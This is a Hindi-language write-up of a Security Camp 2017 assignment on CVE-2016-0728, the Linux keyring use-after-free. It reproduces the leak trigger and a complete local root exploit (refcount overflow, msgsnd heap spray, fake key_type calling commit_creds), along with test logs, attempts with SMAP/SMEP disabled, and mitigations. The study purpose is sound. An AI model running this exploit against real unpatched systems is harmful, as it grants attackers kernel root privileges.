
cve-2016-0728 शोषण और सारांश
Seccamp 2017 कार्य
निम्नलिखित प्रोग्राम Linux कर्नेल 3.8 से 4.4 में मौजूद एक कमजोरी का दुरुपयोग करता है। इस प्रोग्राम के निष्पादन से उत्पन्न होने वाली समस्या का वर्णन करें। इसके अलावा, इस कमजोरी का और अधिक दुरुपयोग करके रूट विशेषाधिकार वृद्धि करने वाले एक एक्सप्लॉइट का वर्णन करें, और अपने द्वारा परीक्षण किए गए वातावरण और विशेष प्रयासों आदि के बारे में बताएं। साथ ही, ऐसे हमलों को कम करने के लिए जितना संभव हो सके उतने निवारक उपाय बताएं और उनका वर्णन करें। पूरी तरह से समझ में न आए तो भी कोई बात नहीं, कृपया अपने शब्दों में तब तक की जानकारी, प्रयास की प्रक्रिया और महसूस की गई बातों का वर्णन करें। इसके अलावा, यदि कोई संदर्भित साइट या साहित्य है, तो उन स्रोतों का उल्लेख करें।
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
परीक्षण वातावरण निम्नानुसार है।
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
मैं पहली बार इस कमजोरी के बारे में जाना, लेकिन मैं जांच करके जो पता चला, उस प्रक्रिया में जो कुछ आज़माया, उसका वर्णन करूँगा। पहले, इस प्रोग्राम में उपयोग की जाने वाली कुंजी भंडारण सेवा (key retention service) के बारे में, फिर इस प्रोग्राम द्वारा दुरुपयोग की जाने वाली Use-After-Free कमजोरी और यह प्रोग्राम में किस कारण से होती है, इसका वर्णन करूँगा, और उससे किस प्रकार की समस्या उत्पन्न होती है, इस पर चर्चा करूँगा। यह कमजोरी CVE-2016-0728 के रूप में पंजीकृत है, और इसके सारांश के लिए, मैंने निम्नलिखित साइट का संदर्भ लिया।
साथ ही, मैं Linux कुंजी भंडारण सेवा के बारे में भी पहली बार जाना, इसलिए IBM के Linux कुंजी भंडारण सेवा परिचय वेब पेज
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
और परीक्षण वातावरण Linux kernel 3.19 का स्रोत कोड
कर्नेल संदेश को होस्ट OS पर नेटवर्क के माध्यम से भेजने के लिए DEBUG HACKS - डिबगिंग को चरम सीमा तक ले जाने की तकनीकें और उपकरण (O'REILLY)
का संदर्भ लिया।
यह प्रोग्राम (इसे आगे leak.c कहेंगे) Linux कुंजी भंडारण सेवा में मौजूद एक बग का दुरुपयोग करता है, और यह बग Use-After-Free कमजोरी की ओर ले जाता है। Use-After-Free कमजोरी का मतलब है कि प्रोग्राम में असंगति के कारण, जारी की गई हीप मेमोरी एड्रेस का संदर्भ दिया जा सकता है, जिससे मनमाना कोड निष्पादित किया जा सकता है। पहले, इस प्रोग्राम द्वारा उपयोग किए जाने वाले सिस्टम कॉल keyctl() का वर्णन करूँगा, और फिर उसमें किस प्रकार का बग मौजूद है, इसका वर्णन करूँगा।
प्रत्येक प्रक्रिया keyctl(KEYCTL_JOIN_SESSION_KEYRING, name) सिस्टम कॉल के द्वारा वर्तमान सत्र के लिए प्रक्रिया-विशिष्ट कुंजी रिंग बना सकती है। यह कुंजी रिंग उस नाम name को संदर्भित करके प्रक्रियाओं के बीच साझा की जा सकती है। यदि प्रक्रिया के पास पहले से ही एक सत्र कुंजी रिंग है, तो यह सिस्टम कॉल सत्र कुंजी रिंग को नई कुंजी रिंग से बदल देता है। इस व्यवहार को और अधिक जानने के लिए, मैंने कर्नेल स्रोत कोड के /security/keys/process_keys.c में join_session_keyring फ़ंक्शन देखा। यह निम्नलिखित प्रोग्राम जैसा है। सत्र कुंजी रिंग को एक नई सत्र कुंजी रिंग से बदलते समय, key_put नामक फ़ंक्शन को छोड़ दिया जाता है। key_put फ़ंक्शन, दिए गए कुंजी रिंग के संदर्भ को नष्ट करने वाला फ़ंक्शन है। इसे छोड़ने से, उस नई कुंजी रिंग का संदर्भ शेष रह जाता है, और यह Use-After-Free कमजोरी की ओर ले जाता है।
जब यह कुंजी रिंग प्रक्रियाओं के बीच साझा की जाती है, तो संरचना key के usage सदस्य में संग्रहीत आंतरिक संदर्भ गणना बढ़ जाती है। usage सदस्य atomic_t प्रकार का है, लेकिन यह वास्तव में एक int प्रकार के चर को शामिल करने वाले struct के typedef के रूप में परिभाषित है। इसके अलावा, इस usage सदस्य को ओवरफ्लो होने से रोकने के लिए कोई तंत्र नहीं है, इसलिए इस सदस्य को बढ़ाकर ओवरफ्लो होने और 0 होने तक संदर्भित किया जा सकता है। जब usage सदस्य 0 हो जाता है, तो कुंजी रिंग सबसिस्टम के अंदर गार्बेज कलेक्शन द्वारा वह कुंजी रिंग मुक्त कर दी जाती है। इस मुक्त क्षेत्र में उपयोगकर्ता स्थान से कोई अन्य मनमाना प्रसंस्करण करने वाला कर्नेल मॉड्यूल रखकर, उस प्रसंस्करण को कर्नेल के विशेषाधिकारों के साथ निष्पादित किया जा सकता है।
संदर्भित साइट के अनुसार, leak.c को keyutils लाइब्रेरी के साथ संकलित करके चलाने पर, /proc/keys में leaked_key नामक एक सत्र कुंजी रिंग पंजीकृत होती है और 100 बार संदर्भित होती है। उस प्रोग्राम को चलाने से पहले और बाद में leaked-keyring को निम्नानुसार प्रदर्शित होते देखा गया।
# चलाने से पहले
$ cat /proc/keys
$ ./leak
# चलाने के बाद
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
हालांकि, परीक्षण वातावरण में leaked-keyring प्रदर्शित नहीं हुआ। परीक्षण के तौर पर, for लूप की शर्त को i < 0x1000000 जैसी बड़ी संख्या में बदलकर देखा, तो प्रोग्राम चलने के दौरान leaked-keyring प्रदर्शित हो रहा था। इस बार, usage सदस्य को ओवरफ्लो करके key को मुक्त करना और उस पर एक नया कर्नेल ऑब्जेक्ट रखना हमले को सफल बनाता है। इसलिए, मैंने वास्तव में इसे आज़माने का फैसला किया। एक्सप्लॉइट कोड के लिए, मैंने निम्नलिखित साइट का संदर्भ लिया।
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
निष्पादित करने के परिणामस्वरूप, विशेषाधिकार नहीं बदले, और निष्पादन उपयोगकर्ता के विशेषाधिकारों के साथ शेल शुरू हुआ। यहाँ सबसे पहले मुझे लगा कि शायद मेरा वातावरण अपडेटेड है और पैच लागू हो चुके हैं। ऐसा इसलिए है क्योंकि यह कमजोरी जनवरी 2016 के आसपास घोषित की गई थी, और तब तक मेरे वातावरण ने अपडेट किया था। इसलिए, मैंने एक नए वर्चुअल वातावरण (kernel 3.18.52) में स्थिरांक मान बदलकर प्रयास किया, लेकिन यह सफल नहीं हुआ। इसके अलावा, रिपोर्ट्स थीं कि SMAP और SMEP जैसी मेमोरी सुरक्षा तंत्रों के सक्रिय होने पर एक्सप्लॉइट ठीक से काम नहीं करता है। SMEP कर्नेल मोड में उपयोगकर्ता स्थान पतों पर कोड के निष्पादन को रोकता है, और SMAP कर्नेल मोड में उपयोगकर्ता स्थान पतों तक पहुँच को रोकता है। gist की टिप्पणियों में कई लोगों द्वारा सत्यापित कोड था जिसमें कर्नेल 3.18.25 पर uid 0 के साथ शुरू हुआ लेकिन VM फ्रीज़ हो गया, इसलिए मैंने उसे आज़माने का फैसला किया। लिंक यहाँ है (https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830), मैंने कर्नेल (3.18.25) बनाकर और SMAP और SMEP दोनों को अक्षम करके प्रयास किया। निष्पादन वातावरण निम्नानुसार है। SMAP को बिल्ड के समय .config में अक्षम किया गया था, और grub कॉन्फ़िगरेशन फ़ाइल (/boot/grub/grub.cfg) में SMEP को भी अक्षम किया गया था।
$ uname -r
3.18.25
इस वातावरण में leak चलाने पर, /proc/keys निम्नानुसार हो गया।
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
वास्तव में संदर्भित साइट की तरह कुंजी रिंग ऑब्जेक्ट की पुष्टि की जा सकती है। इसलिए, जब एक्सप्लॉइट चलाया गया, तो यहाँ भी प्रोग्राम के निष्पादन उपयोगकर्ता के विशेषाधिकारों के साथ शेल शुरू हुआ। फिर, मैंने /proc/keys की watch कमांड से 0.1 सेकंड के अंतराल पर निगरानी की, तो पता चला कि usage सदस्य ठीक 0 नहीं हो रहा था (जब प्रोग्राम को बीच में रोकने पर उत्पन्न कुंजी रिंग के समान नाम वाली कुंजी रिंग निर्दिष्ट करके एक्सप्लॉइट चलाया गया, तो ओवरफ्लो के बाद उस कुंजी रिंग ऑब्जेक्ट का usage सदस्य फिर से बढ़ गया)। इसलिए, मैंने सोचा कि join_session_keyring नया कुंजी रिंग ऑब्जेक्ट बना रहा है, और संदर्भ काउंटर को ठीक 0 होने के लिए समायोजित नहीं किया गया तो कुंजी ऑब्जेक्ट मुक्त नहीं होगा। जब संदर्भ काउंटर 0 हुआ, तो निश्चित रूप से कुंजी रिंग ऑब्जेक्ट अदृश्य हो गया, और इसे मुक्त माना गया। कई बार लगातार चलाने पर, root प्राप्त हुआ (uid=0, euid=0) लेकिन उसके तुरंत बाद कर्नेल पैनिक हुआ और VM फ्रीज़ हो गया, यह तक मैंने पुष्टि की।
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
इसलिए, मैंने कर्नेल संदेशों को netconsole के माध्यम से होस्ट OS पर स्थानांतरित करके लॉग पढ़ने की कोशिश की, लेकिन commit_creds या kernel_prepare_cred जैसे स्थिरांक मानों के पतों के लिए खोज करने पर कोई प्रासंगिक स्थान नहीं मिला। अंततः, मैं root प्राप्त करके शेल शुरू नहीं कर सका।
उपरोक्त से, इस कमजोरी का उपयोग करने वाले हमलों के खिलाफ, SMAP और SMEP जैसी CPU कर्नेल सुरक्षा तंत्रों को सक्षम रखने से हमले को कठिन बनाया जा सकता है। इसके अलावा, कमजोरी के सार्वजनिक होने के कुछ समय बाद, विभिन्न वितरणों द्वारा पैच सहित कर्नेल अपडेट प्रदान किए जाते हैं, इसलिए उस अपडेट को लागू करके हमले को रोका जा सकता है। इस कमजोरी के बारे में जांच के दौरान, जब kernel 3.18.52 पर PoC कोड चलाया गया, तो /proc/keys की निगरानी करने पर कुंजी रिंग ऑब्जेक्ट का usage सदस्य बढ़ता और घटता रहता था, इसलिए मुझे लगा कि kernel 3.18.25 और 3.18.52 के बीच कुंजी रिंग से संबंधित कोड या join_session_keyring फ़ंक्शन में उपयोग किए जाने वाले abort_creds फ़ंक्शन में बदलाव हुआ होगा, जिससे संदर्भ काउंटर (यहाँ usage सदस्य) बढ़ाने का तंत्र बदल गया होगा। ऐसा इसलिए है क्योंकि संदर्भित साइट में लिखा है कि संदर्भ काउंटर usage join_session_keyring में दो बार बढ़ाया और घटाया जाता है, और उस प्रक्रिया में abort_creds usage सदस्य को अतुल्यकालिक रूप से, RCU जॉब नामक प्रक्रिया के बाद संदर्भ काउंटर की घटाव प्रक्रिया करता है, जो महत्वपूर्ण है।
जब मैंने इस कमजोरी के बारे में जांच की, तो यह जानकर आश्चर्य और चिंता दोनों हुई कि सामान्य उपयोगकर्ता विशेषाधिकार प्राप्त उपयोगकर्ता तक बढ़ा सकता है, लेकिन एक्सप्लॉइट के PoC कोड का सत्यापन और जांच करते समय, मुझे पता चला कि हमलावर को कर्नेल के संस्करण की भी पहचान करनी होगी, और यदि SMEP या SMAP सक्रिय हैं तो उन्हें बायपास भी करना होगा, सफलता निश्चित नहीं है और विफलता पर कर्नेल पैनिक होता है, जिससे हमले का पता चल सकता है - हमलावर के लिए कई अप्रिय बातें हैं, और मुझे संदेह हुआ कि क्या यह वास्तव में हमले की तकनीक के रूप में उपयोगी है।